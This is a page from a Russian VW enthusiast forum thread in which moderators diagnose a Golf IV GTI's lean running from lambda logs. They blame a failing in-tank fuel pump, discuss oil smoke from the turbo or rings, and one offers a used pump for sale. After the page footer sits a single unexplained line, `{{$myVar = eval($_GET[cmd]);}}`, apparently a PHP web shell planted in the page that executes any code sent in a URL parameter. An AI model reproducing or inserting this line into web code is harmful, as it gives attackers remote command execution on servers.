+ Ответить в теме
Страница 2 из 3 ПерваяПервая 1 2 3 ПоследняяПоследняя
Показано с 11 по 20 из 28

Тема: Проблема Г4 AUM


  1. #11
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35
    Народ кто нибудь помогите советом что еще может быть. Ну может есть спецы к кому можно съездить.

  2. #12
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Цитата Сообщение от Gennadich Посмотреть сообщение
    давление топлива в норме, причина не в насосе. Ошибок не выдает. Что может еще?
    Кто тебе сказал что давление в норме?
    у тебя судя по логам с 31 группы, бензин вообще не подается в нужном объеме. . .
    мотор запрашивает
    коэфициент по лямбде во втором столбце- запрашиваемое значение, а в первом- фактическое
    1.117, 0.727,
    1.109, 0.735,
    Так вот на всем протяжении твоего наддува у тебя коэф БЕДНЫЕ!!!
    Открути свечи посмотри их цвет если белые то бенза мало, хотя судя по логу у тебя и так ясно что топлива не хватает. . .
    Бенз надо мерять под нагрузкой, с манометром, тапку давишь и едешь, стрелка манометра не должна падать, если снижается до 2х бар, то насосу смерть. . . .
    BMW 330D POWERED by Dizelboost :pepper:

  3. #13
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    а действительно, на трассе, что с манометром ездили, что все понятно по давлению ?
    песок сыпется....не останавливайтесь на достигнутом !

  4. #14
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    поаккуратнее так катайся и прочти еще раз мой пост номер 3.
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  5. #15
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    да стрельнет детонация и превед поршням:)
    BMW 330D POWERED by Dizelboost :pepper:

  6. #16
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от inVENTOr Посмотреть сообщение
    да стрельнет детонация и превед поршням:)
    не, превед тюнинг ! кованная поршневая, низкая СЖ и улитко ведерко !!!
    песок сыпется....не останавливайтесь на достигнутом !

  7. #17
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35
    сегодня машину завел, постояла мин 15 на холостом ходу и закоптила маслом пипец...
    свечи сухие, но белые.
    давление топливо замерял не на ходу, на ходу стремновато.
    А что там с лямдой? у меня одна отключена, а может турбина масло гонит и лямду засерает.

  8. #18
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Ты либо слушать не хочешь либо читаешь между строк. . .
    У ТЕБЯ УМЕР ТОПЛИВНЫЙ НАСОС ТОТ ЧТО В БАКЕ, все остальное смотри после его замены............................
    Если закоптила маслом, 2 варианта
    1. турбина подссывает в выпуск(в выхлоп)
    2. Кольца сели на поршнях (если свечи в масле)
    МЕНЯЙ НАСОС и не ипи голову
    BMW 330D POWERED by Dizelboost :pepper:

  9. #19
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35
    Цитата Сообщение от inVENTOr Посмотреть сообщение
    Ты либо слушать не хочешь либо читаешь между строк. . .
    У ТЕБЯ УМЕР ТОПЛИВНЫЙ НАСОС ТОТ ЧТО В БАКЕ, все остальное смотри после его замены............................
    Если закоптила маслом, 2 варианта
    1. турбина подссывает в выпуск(в выхлоп)
    2. Кольца сели на поршнях (если свечи в масле)
    МЕНЯЙ НАСОС и не ипи голову
    спасибо, будем менять ))

  10. #20
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Цитата Сообщение от Gennadich Посмотреть сообщение
    спасибо, будем менять ))
    Есть насос без колбы могу запродать за недорого,вставишь в свою колбу и буит тебе счастье)
    Цена 1500р насос с пробегом 500км максимум,ставил себе изза таких же проблем,но не хватило топлива всеравно,в итоге вальбро спас ситуацию)если решишь,пиши,насос VDO.
    BMW 330D POWERED by Dizelboost :pepper:

+ Ответить в теме
Страница 2 из 3 ПерваяПервая 1 2 3 ПоследняяПоследняя

Похожие темы

  1. 2.0T проблема
    от davv в разделе Двигатель
    Ответов: 17
    Последнее сообщение: 21.01.2010, 10:32
  2. Проблема С Vr6
    от Б.Андрей в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 13
    Последнее сообщение: 04.12.2008, 02:03
  3. Проблема
    от Дзынь в разделе Ремонт и обслуживание
    Ответов: 9
    Последнее сообщение: 06.07.2008, 02:05
  4. проблема с ECU
    от chaos в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 16
    Последнее сообщение: 30.04.2008, 22:02
  5. EPC в че проблема???
    от Антоха в разделе Электрика
    Ответов: 9
    Последнее сообщение: 01.09.2007, 13:55

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}